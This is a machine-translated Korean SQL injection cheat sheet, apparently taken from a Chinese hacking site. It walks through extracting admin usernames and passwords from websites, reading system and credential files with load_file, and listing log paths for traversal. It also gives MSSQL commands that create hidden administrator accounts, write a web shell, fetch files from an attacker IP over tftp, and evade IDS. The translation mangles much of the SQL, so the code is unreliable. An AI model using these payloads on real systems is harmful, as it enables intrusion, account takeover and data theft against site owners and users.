MSSQL 크로스 데이터베이스 쿼리(음식 맛 나는 것!) 다크)
MS SQL의 마지막 한 방울까지 짜내세요
SQL 문장 참조와 레코드셋 객체가 자세히 설명됩니다
SQL Server의 저장 프로시저에 대하여
mssql 백업으로 웹셸을 만드세요
SQL_Injection 고급 응용
Cross-site SQL 주입 (laokai)
이상한 SQL 인젝션 (AMANL)
SQL Server 애플리케이션에서의 고급 SQL 주입
SQL 인젝션을 사용해 디렉터리를 탐색하는 방법
SQL 주입 기법 공략 (번역: demonalex)
SQL 데이터베이스에 대한 일부 공격
SQL 주입 공격 기법 (JSW)
SQL_Injection 고급 응용 프로그램(APACHY)
비범한 SQL 주입 방법 (Guilin Veteran)
쉘 백업
php+mysql 주입 명령 구조에 대해 이야기해 보세요 (Heyhehehehe·≯Super· 헤이)
MySQL(엔젤)을 이용한 고급 SQL 인젝션(Capital Governance)
L'injection (My)SQL via PHP
오라클 SQL 언어
SQL manual injection encyclopedia
필수 조건은 SQL 쿼리 분석기와 SqlExec Sunx 버전 등 도구가 필요합니다 ============================================================================================== 1. 주입 지점이 있는지 확인한다 ; 그리고 1=1 그리고 1=2 2. 테이블 이름은 관리자 관리자 사용자 비밀번호 등일 수도 있습니다: 그리고 0<>(*에서 count(*) 선택) 그리고 0<>(admin에서 count(*) 선택 — 관리자 테이블이 존재하는지 확인함 3. 계정 수를 맞추기 <0을 발견하면 올바른 페이지로 돌아가< 계정 수가 1임을 표시하기 위해 오류 페이지를 반환하세요 그리고 0<(관리자에서 count(*) 선택) 그리고 1<(관리자에서 count(*) 선택) 4. 필드 이름을 추측하기 우리가 생각하는 필드 이름을 대괄호 안에 추가한다. 그리고 1=(admin에서 count(*) 선택 (len(*)>0)– 그리고 1=(관리자에서 count(*) 선택, 여기서 len(사용자 필드 이름 이름)>0) 그리고 1=(admin에서 count(*) 선택, 여기서 len(_blank>password field name)>0) 5. 각 필드의 길이를 추측하기 길이를 추측하는 것은 올바른 페이지가 반환될 때까지 >0을 변환하는 것입니다. 그리고 1=(admin에서 count(*) 선택 중 len(*)>0) 그리고 1=(관리자에서 count(*) 선택 중 len(name)>6) 오류 그리고 1=(admin에서 count(*) 선택, 여기서 len(name)>5) 올바른 길이는 6입니다 그리고 1=(admin에서 count(*) 선택, 여기서 len(name)=6)이 맞습니다 그리고 1=(admin에서 count(*) 선택(len(password)>11)이 맞는 경우입니다 그리고 1=(admin에서 count(*) 선택, 여기서 len(password)>12) 오류 길이가 12입니다 그리고 1=(admin에서 count(*) 선택, 여기서 len(password)=12)가 맞습니다 6. 등장인물 맞춰기 그리고 1=(left(name,1)=a) — 사용자 계정의 첫 자리를 맞춰 그리고 1=(left(name,2)=ab)를 선택한 관리자의 count(*) 선택—사용자 계정의 두 번째 숫자를 맞춰 한 번에 한 글자씩 추가해서 추측하고, 방금 맞힌 숫자만큼 충분히 맞추면 계좌 번호가 나옵니다 (1) 테이블 이름을 맞혀
사용된 문장들: 그리고 존재합니다 (테이블 이름에서 * 선택)
예를 들어: 그리고 존재합니다 (관리자에서 * 선택
페이지가 올바르게 반향된다면 우리가 추측한 테이블 이름이 맞다는 뜻이고, 페이지가 틀렸다면 우리가 쓴 테이블 이름이 틀렸다는 뜻입니다
그 다음 테이블 이름을 바꾸고 계속 추측하다가 맞출 때까지 추측합니다.
일반적으로 일반적으로 사용되는 테이블 이름은 admin, manage, user, 또는 tool run 내의 경우 (2) 필드를 추측하기
사용된 문장들: 그리고 존재합니다 (테이블 이름에서 필드 이름 선택)
예를 들어: 그리고 존재합니다 (관리자에서 사용자 이름을 선택)
여기서 관리자 테이블이 제가 위에서 정확히 추측한 테이블이라고 가정하면, 사용자 이름 필드가 존재하는지 확인하고 싶습니다. 이 문장을 사용해야 합니다. 만약 페이지가
얼굴 에코가 맞으면 여기서 추측한 필드 이름이 맞다는 뜻이고, 페이지가 틀리면 여기 쓴 필드 이름이 틀렸다는 뜻입니다
그 다음 필드 이름을 바꾸고 계속 추측하다가 맞출 때까지 추측하세요.
일반적으로 일반적인 필드 이름으로는 username, password, user, pass, name, pass, pwd, usr, psd 및 기타 필드가 포함됩니다 (3) 순서로
순서 는 해당 페이지의 필드 수를 합산하여 다음 공동 쿼리를 준비하는 것입니다 (4) 유니언 셀렉트
1. 공동 쿼리를 지원한다면, 디스플레이 비트 http://www.xxx.com/product_show.asp?id=1 을 찾고 1=2 유니언 선택
1,2,3,4,5,6,7,8,9,10,11 표시 비트가 5,6이라고 가정하자. 다음으로, 관리자의 사용자 이름과 비밀번호에 해당하는 필드 이름만 여기 표시 비트의 위치로 바꾸면 됩니다
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
관리자가 1,2,3,4,admin_name,admin_pwd,7,8,9,10,11이 로그인 백그라운드를 찾았습니다 2. 공동 쿼리가 지원되지 않을 경우 관리자의 사용자 이름과 비밀번호는 공동 쿼리 없이는 얻을 수 없으며 - Ascii 원문 해독을 사용해 2 순서 기준(order by)을 사용해 표의 비트 수를 판단하고, 안 되면 union select로 비트를 하나씩 배열하라. 여기서는 8비트라고 가정한다 3 공동 쿼리를 사용해 디스플레이 비트를 결정하세요 4 디스플레이 비트를 사용하여 데이터베이스 이름, 데이터베이스 버전, 5.0 이상을 주입할 수 있습니다
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, 버전()),8 5 데이터베이스 이름으로 테이블 이름 스키마 = 뒤에 데이터베이스 이름의 HEX 값을 붙여서 테이블 이름을 추측할 수 있습니다
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +from+information_schema.columns+where+ table_schema=0x666C6965725F6462617365 6 분석된 테이블 이름은 관리자의 테이블 이름=테이블 이름의 HEX 값을 결정하고, 테이블 내 필드를 추측합니다 http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(불분명함)
+column_name),8+ from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 7 관리자 테이블에서 필드를 얻은 후, 필드의 내용을 가져봅시다 http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(불분명함)
+사용자 이름, 0x5f,userpwd),8+from+pub_webmaster 8 도구가 배경을 스캔합니다: 트로이 목마를 찾으면 로그인해서 업로드하고, 만약 robots.txt 파일을 못 찾으면 접근할 수 있습니다 9 만약 배경을 찾지 못하면 MYSQL 관리자의 비밀번호가 노출됩니다 http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(user, password), 8+from+mysql.user 10 무작위로 경로를 입력하면 피드백이 IIS6의 404 기본 페이지로 표시되며, 이는 웹사이트 서버가 Windows+IIS6+php+MySQL 환경임을 나타냅니다 c:\\windows\\system32\\inetsrv\\MetaBase.xml 이 경로는 웹사이트 구성 정보를 얻을 수 있습니다. 구성 문장 http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 11 코드를 분석하고 배경 주소를 찾아보세요 첫 번째 단계에서는 표 내 필드의 길이를 구해야 합니다 사용된 진술: 그리고 (테이블 이름에서 상위 1개의 len(필드 이름) 선택)>0 예를 들면: 그리고 (관리자에서 상위 1 len(admin_name) 선택)>0 페이지는 정상적으로 표시되며, 필드 길이가 0보다 크고, admin_name 제출하겠습니다:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 페이지에는 필드가 0에서 10 사이이며, 길이가 5라는 오류가 표시되어 있습니다. 관리자 비밀번호 필드 길이를 같은 방법으로 계산하면 길이가 16이 나옵니다 2단계 이제 두 번째 단계로 넘어가서, 필드에서 특정 문자를 취해 그 문자의 ASCII 코드를 얻어 사용해 봅시다
진술: 그리고 (테이블 이름에서 상위 1개의 상승 순서(mid(field name, N,1)) 선택)>0 이 문장을 따로 살펴보겠습니다. 먼저 가장 안쪽의 중간 함수(사용자 이름, 1,1) 기능, 즉 admin_name 필드 N의 첫 문자입니다
처음 몇 개의 문자를 가로채야 함을 나타냅니다. 그 다음, 중간 함수가 가로채는 문자를 ASCII 코드인 가장 바깥쪽 상단 1로 변환하는 외부 상승 문자(external asc() 함수는 첫 번째 반환 필드를 나타냅니다
기록이라면, 끝에 있는 ">0"은 변환된 ASCII 코드를 이 숫자와 비교하고, 마지막 값을 계속 변경하여 인터셉트를 얻는 것입니다
이 캐릭터의 구체적인 내용을 파악하세요 ASCII 코드 제출:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 페이지는 정상적으로 표시되어 이 문자의 ASCII 코드가 30보다 크다는 것을 나타냅니다. 제출:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 페이지는 정상적으로 표시되어 이 문자의 ASCII 코드가 90보다 크다는 것을 나타냅니다.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 이 문자에 대해 제가 만든 ASCII 코드는 97입니다 ASCII 표를 비교해 보세요: 첫 번째 문자는 "a"임을 결론 내릴 수 있다. 그다음 두 번째 문자의 ASCII 코드를 판단하겠습니다.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 페이지는 정상적으로 표시되며, 문자의 ASCII 코드가 90보다 크고 마지막 값은 항상 변경됩니다 같은 방법으로 관리자의 비밀번호를 얻었고, 결과는 다음과 같습니다:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 그리고 1=(관리자에서 상위 1개 카운트(*)를 선택하며 Asc(mid(pass,5,1))=51) – 이 쿼리 문은 중국 사용자와 비밀번호를 추측할 수 _blank> 있습니다. 다음 번호를 중국어 ASSIC 코드로 교체하세요
캐릭터로 변환하세요.
1=1–www.myhack58.com users.id 그룹을 가집니다 users.id, users.username, users.password, users.privs 등 1=1– ; 사용자 값(666, 공격자, 푸바, 0xffff)을 삽입합니다–
유니언 셀렉트 톱 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA. 열:
TABLE_blank>_NAME=logintable- 유니언 셀렉트 톱 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA. 열:
TABLE_blank>_NAME=로그인 테이블 COLUMN_blank>_NAME (login_blank>_id)에 없음- 유니언 셀렉트 톱 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA. 열:
TABLE_blank>_NAME=로그인 테이블 COLUMN_blank>_NAME 없는 곳
(login_blank>_id,login_blank>_name)- UNION SELECT TOP 1 login_blank>_name logintable에서 - 유니언 로그인테이블에서 비밀번호 상단 1개 선택 login_blank>_name=라훌– _blank> 서버에서 플레이한 패치를 보세요 = 잘못된 SP4 패치 검은 바 세이프티넷 그리고 1=(@@VERSION 선택 기준)–
_blank> 데이터베이스 연결 계정의 권한을 확인해 보면 정상으로 돌아오며, _blank> 서버 역할의 시스템 관리자 권한임을 증명합니다. 그리고 1=(선택 IS_blank>_SRVROLEMEMBER(시스템 관리자))–
데이터베이스 계정이 연결되어 있는지 확인_blank>. (SA 계정 사용해 연결 및 정상 반환 = 연결된 계정이 SA임을 증명함) 그리고 sa=(선택 System_blank>_user)– 그리고 user_blank>_name()=dbo– 그리고 0<>(선택 user_blank>_name()–
xp_blank>_cmdshell 삭제하는지 확인해 보세요 그리고 1=(count(*) FROM master.dbo.sysobjects 선택 중 xtype = X AND name = xp_blank>_cmdshell)
–
xp_blank>_cmdshell 삭제, 복원, 절대 경로 복구를 지원합니다 ; 집행관 master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; 집행master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== DB 권한이 웹사이트의 물리적 경로 코드에 노출됩니다
========================================================================== 1, 테이블 [jm_tmp]; 테이블 [jm_tmp](value navrchar(4000) null, data nvarchar(4000)
null) -- 테이블 생성
2, 삭제 [jm_tmp]; [jm_tmp] 임원 삽입master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
사이트 디렉터리를 테이블 필드에 삽입하세요
3, 그리고 ([데이터] 순서 중 상위 1명의 캐스트([데이터]로 nvarchar(4000), char(124)를 [jm_tmp] 순서에서 선택한다.
desc)=0 '//노출 필드
4. 테이블 [jm_tmp] -- 이 테이블을 삭제하세요. 사령부가 포탄을 가져가기 위해
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\기타 역 경로 ======================load_file() 일반적으로 사용되는 민감한 정보 =========================================== 1, replace(load_file(0×2F6574632F7061737377764),0×3c,0×20)
2, replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32)) 위 두 가지 방법은 코드를 완전히 보여주는 PHP 파일을 보기 위한 것입니다. 일부 문자가 교체되지 않는 경우도 있는데, 예를 들어 "space" 대신 "<"이 반환되는 경우도 있습니다
웹페이지. 그리고 코드는 볼 수 없습니다.
3. load_file(char(47))는 FreeBSD 및 Sunos 시스템의 루트 디렉터리를 나열할 수 있습니다
4. /etc/httpd/conf/httpd.conf 또는 /usr/local/apche/conf/httpd.conf에서 리눅스 APACHE 가상 호스트 구성 파일을 확인하세요
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf 또는 C:\apache\conf\httpd.conf → 윈도우 보기
시스템 아파치 파일
6. c:/Resin-3.0.14/conf/resin.conf jsp에서 개발한 웹사이트의 레진 파일 구성 정보를 확인하세요.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 를 통해 리눅스 시스템에서 설정된 JSP 가상 호스트를 확인할 수 있습니다
8, d:\APACHE\Apache2\conf\httpd.conf
9, C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode path
11. C:\Windows\system32\inetsrv\MetaBase.xml IIS의 가상 호스트 구성 파일 보기
12. /usr/local/resin-3.0.22/conf/resin.conf 를 통해 3.0.22의 RESIN 구성 파일을 확인할 수 있습니다.
13. /usr/local/resin-pro-3.0.22/conf/resin.conf 위와 동일
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE 가상 호스트
15. /etc/sysconfig/iptables는 방화벽 정책에 따라 다릅니다
16. /usr/local/app/php5 b/php.ini PHP 동등 설정
17. /etc/my.cnf MYSQL 구성 파일
18. /etc/레드햇 릴리스 시스템 버전의 레드햇
19 、C:\mysql\data\mysql\user. MYD는 MYSQL 시스템의 사용자 비밀번호에 존재합니다
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 를 사용하여 IP를 확인하세요.
21. /usr/local/app/php5 b/php.ini //PHP 관련 설정
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // 가상 웹사이트 설정
23, c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24, c:\windows\my.ini
25. /etc/issue는 리눅스 커널의 배포판 정보를 표시합니다
26, /등/ftpuser
27. LINUX user.bash_history 또는 .bash_profile 항목에서 작업 로그 파일을 확인하세요
28, /etc/쉿/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== 직접 역핑 실험을 해보세요 ; 마스터를 사용하세요; 지능을 선언@s; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s 아웃; 임원
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c 핑 192.168.0.1"; –
계정 추가 ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell 출력 EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
가상 디렉터리 E-디스크 생성: ; Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
접근 속성: (웹셸에 쓰는 경우) Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
라이브러리를 버스팅하는 특별한 _blank> 트릭: :%5c=\ 또는 %5를 / 및 \로 수정하여 커밋 그리고 0<>(NewTable에서 상위 1개 경로를 선택)–
데이터베이스 이름을 받아보세요 (1부터 5까지는 시스템의 ID이며, 6 이상을 판단할 수 있습니다) 그리고 1=(master.dbo.sysdatabases에서 이름을 선택하며, dbid=7)– 그리고 0<>(master.dbo.sysdatabases에서 count(*) 선택, 여기서 name>1 and dbid=6) 차례로 dbid 제출 = 7,8,9.... 더 많은 _blank> 데이터베이스 이름 받기
그리고 0<>(bbs.dbo.sysobjects 중 xtype=U에서 상위 1개 이름을 선택)는 관리자 가정 하에 테이블에 돌파 입력되었습니다 그리고 0<>(bbs.dbo.sysobjects에서 xtype=you, 이름이 (관리자)에 없는 이름에서 상위 1개 이름을 선택).
다른 테이블들. 그리고 0<>(bbs.dbo.sysobjects 중에서 xtype=you, name=admin에서 count(*) 선택) 그리고 uid>(str(id))) UID의 수치 값은 18779569 uid=id로 가정합니다 그리고 0<>(bbs.dbo.syscolumns에서 id=18779569에서 상위 1명의 이름을 선택)는 admin 필드, false를 생성합니다
user_blank>_id 설정됨 그리고 0<>(bbs.dbo.syscolumns에서 id=18779569 이름이 아닌 상위 1개 이름을 선택하세요 (id,...)) 다른 분야를 드러내기 위해 그리고 0<(username>1을 참고하는 BBS.dbo.admin에서 user_blank>_id를 선택) 그 결과 비밀번호_blank> 얻을 수 있습니다。。。。。 사용자 이름, 비밀번호 등과 같은 필드가 있다고 가정해 user_blank>_id
그리고 0<>(master.dbo.sysdatabases에서 count(*) 선택, 여기서 name>1 and dbid=6) 그리고 0<>(bbs.dbo.sysobjects 중 xtype=U에서 상위 1개의 이름을 선택)를 통해 테이블 이름을 얻습니다 그리고 0<>(bbs.dbo.sysobjects에서 xtype=you, name이 in(Address)에 없는 이름에서 상위 1개 이름을 선택) 그리고 0<>(bbs.dbo.sysobjects 중에서 xtype=u, name=admin and uid>(str(id))에서 count(*) 선택)
ID 값을 결정하세요 그리고 0<>(BBS.dbo.syscolumns에서 id=773577794에서 상위 1개의 이름을 선택) 모든 필드
?id=-1 유니언 1,2,3,4,5,6,7,8,9,10,11,12,13,* 관리자에서 선택 ?id=-1 유니언 관리자에서 1,2,3,4,5,6,7,8,*,9,10,11,12,13을 선택하세요 (유니언, 접근도 사용하기 쉽습니다)
웹 경로를 얻으세요 ; 테이블 [dbo]를 만드세요. [스왑] ([스왑패스][char](255)); – 그리고 (스왑에서 상위 1개의 스왑패스를 선택)=1– ; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) 선언 @test varchar(20) exec
주인님.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=시스템
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, 값=@test
OUTPUT insert into paths(path) values(@test)– ; Ku1을 사용하세요; – ; 테이블 CMD 생성(STR 이미지); – 이미지 타입의 테이블 cmd 생성 1. xp_cmdshell 확장 과정을 제거하는 방법은 다음 문장을 사용하는 것입니다:
만약 존재한다면(dbo.sysobjects에서 *를 선택하며, id=object_id(N'[dbo].[ xpcmdshell]')
OBJECTPROPERTY(id,N'IsExtendedProc')=1) 임원sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. 확장 과정을 추가하는 방법은 다음 문xp_cmdshell 사용하는 것입니다:
(1) SQL 쿼리 분석기
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) 먼저 SqlExec Sunx 버전의 Format 옵션에 %를 입력하고 CMD 옵션에 입력합니다
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
삭제
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' xp_blank>_cmdshell 테스트 과정이 있습니다: ; 대장님.. xp_blank>_cmdshell 디르 ; 집행 master.dbo.sp_blank>_addlogin 교오니앙$; – SQL 계정 추가 ; 임원 master.dbo.sp_blank>_password null, Jiaoniang$,1866574; – ; 지아오니앙$ Sysadmin master.dbo.sp_blank>_addsrvrolemember exec – ; Executive master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; Executive master.dbo.xp_blank>_cmdshell Net LocalGroup 관리자 Jiaoniang$ /add; – 대장님.. xp_blank>_servicecontrol 시작, 서비스 시작 일정_blank> 대장님.. xp_blank>_servicecontrol 시작해, 서버. ; @shell int EXEC SP_blank>_OACreate wscrip{filtering}t.shell을 선언하고, @shell EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell 출력 EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; 대장님.. xp_blank>_cmdshell tftp -i youip get file.exe – TFTP를 사용해 파일 업로드
; Declare @a sysname Set @a=xp_blank>_+CMDshell exec @a dir C:\ ; Declare @a sysname Set @a=XP+_blank>_cm'+'dShell exec @a dir C:\ ; @a 선언; 집합 @a=db_blank>_name(); 백업 데이터베이스 @a disk=당신의 IP 공유 디렉터리 bak.dat 제한 있으면 그렇습니다. Select * from openRowSet(_blank>sqloledb,server; SA; ,선택하세요! 임원
master.dbo.sp_blank>_addlogin핵스)
쿼리 구조: 뉴스에서 * 선택 위치 id=... 그리고 주제=... 그리고 ..... adminand 1=(사용자 이름=victim 및 right(left(userpass,01),1)=1 중에서 [user]에서 count(*)를 선택)
그리고 Userpass <> 셀렉트 123; – ; 마스터를 사용하세요; – :a 또는 fff% 같은 이름; – ffff라는 사용자가 표시됩니다. 그리고 1<>([사용자]에서 count(이메일) 선택); – ; 업데이트 [사용자] 이메일 설정=(sysobjects에서 xtype=you와 status>0 중 상위 1개 이름을 선택하세요).
name=ffff; – ; 업데이트 [사용자] 이메일 설정=(sysobjects에서 xtype=you, name=ad에서 상위 1 ID를 선택) 여기서
name=ffff; – ; 업데이트 [사용자] 이메일 설정=(sysobjects에서 xtype=you, id>581577110에서 상위 1개 이름을 선택하세요)
여기서 name=ffff; – ; 업데이트 [사용자] 이메일 설정=(비밀번호에서 상위 1개 count(id) 선택) 여기서 name=ffff; – ; 업데이트 [사용자] 이메일 설정=(비밀번호에서 id=2 중 상위 1명의 PWD 선택) 여기서 name=ffff; – ; 업데이트 [사용자] 이메일 설정=(비밀번호에서 id=2 중 상위 1개 이름을 선택하기) 여기서 name=ffff; – 위 문장은 _blank> 데이터베이스에서 첫 번째 사용자 테이블을 받아 ffff 사용자의 이메일 필드에 테이블 이름을 넣는 것입니다. ffff의 사용자 프로필을 보면 AD라는 첫 번째 테이블을 얻을 수 있습니다 그 다음 테이블 이름 ad에 따라 이 테이블의 ID를 얻어 두 번째 테이블 이름을 얻습니다
사용자 값( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– 사용자 값에 삽입(667,123,123,0xffff)– 사용자 값에 삽입 (123, admin–, password, 0xffff)– ; 그리고 사용자>0 ; 그리고 (sysObjects에서 count(*) 선택)>0 ; 그리고 (mysysobjects에서 count(*) 선택)>0 // access_blank> 데이터베이스를 위해
데이터 테이블의 이름을 열거하세요 ; 업데이트 AAA Set aa=(sysobjects에서 xtype=you and status>0 중 상위 1개 이름을 선택); – 이때 첫 번째 테이블 이름이 AAA 필드로 업데이트됩니다. 첫 번째 테이블을 읽고, 두 번째 테이블은 조건 뒤에 이름을 추가하는 식으로 읽을 수 있습니다<> 방금 받은 테이블 이름입니다. ; 업데이트 AAA Set aa=(sysObjects 중에서 xtype=u, status>0 그리고
이름<>투표); – 그러면 id=1552이고 존재합니다(aaa에서 *를 선택하고, 여기서 aaa>5) 두 번째 표를 하나씩 읽어서 읽어가면 없을 때까지 읽어보세요. 읽은 필드는 다음과 같습니다: ; 업데이트 AAA 세트 aaa=(top 1 선택 col_blank>_name(object_blank>_id(table명)1)); – 그러면 id=152이고 exists(aaa>5에서 *를 선택)이 오류를 내고 필드 이름을 얻습니다 ; 업데이트 AAA 세트 aaa=(상위 1개 선택 col_blank>_name(object_blank>_id(테이블 이름)2)); – 그러면 id=152이고 exists(aaa>5에서 *를 선택)이 오류를 내고 필드 이름을 얻습니다
[데이터 테이블 이름 가져오기] [필드 값을 테이블 이름으로 업데이트한 후, 이 필드의 값을 읽어 테이블 이름을 얻습니다] Update table name set field=(sysobjects에서 xtype=u, status>0 [ and name<>
얻는 테이블 이름은 찾기 1 더하기 1]) [ 여기서 조건] xtype=you와 여기서 sysobjects 중에서 상위 1개 이름을 선택합니다
status>0 및 이름이 없음(table1, table2,...) 데이터베이스 관리자 계정과 시스템 관리자 계정 생성 _blank> _blank> SQLSERVER를 통한 취약점 주입 [현재 계정은 반드시 SYSADMIN 그룹이어야 함]
[Datatable 필드 이름 가져오기] [필드 값을 필드 이름으로 업데이트한 후, 이 필드 값을 읽어 필드 이름을 얻습니다] 업데이트 테이블 이름 Set field=(top 1 선택 col_blank>_name(object_blank>_id (데이터 테이블 이름으로 쿼리), field column
예를 들어: 1) [ 여기서 조건]
IDS 감지 우회 [변수 사용] ; Declare @a sysname Set @a=xp_blank>_+CMDshell exec @a dir C:\ ; Declare @a sysname Set @a=XP+_blank>_cm'+'dShell exec @a dir C:\
1. 원격 _blank> 데이터베이스를 엽니다 기본 문법 select * from OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, table1에서 * 선택 ) 매개변수: (1) OLEDB 제공자 이름 2. 연결 문자열 매개변수는 연결할 수 있는 어떤 포트든 될 수 있습니다. 예를 들어 select * from OPENROWSET(SQLOLEDB, uid=sa; PWD=123; 네트워크=DBMSSOCN; 주소=192.168.0.1,1433; ,
표에서 선택 * 3. 대상 호스트의 전체 _blank> 데이터베이스를 복사하고 모든 원격 테이블을 로컬 테이블에 삽입합니다.
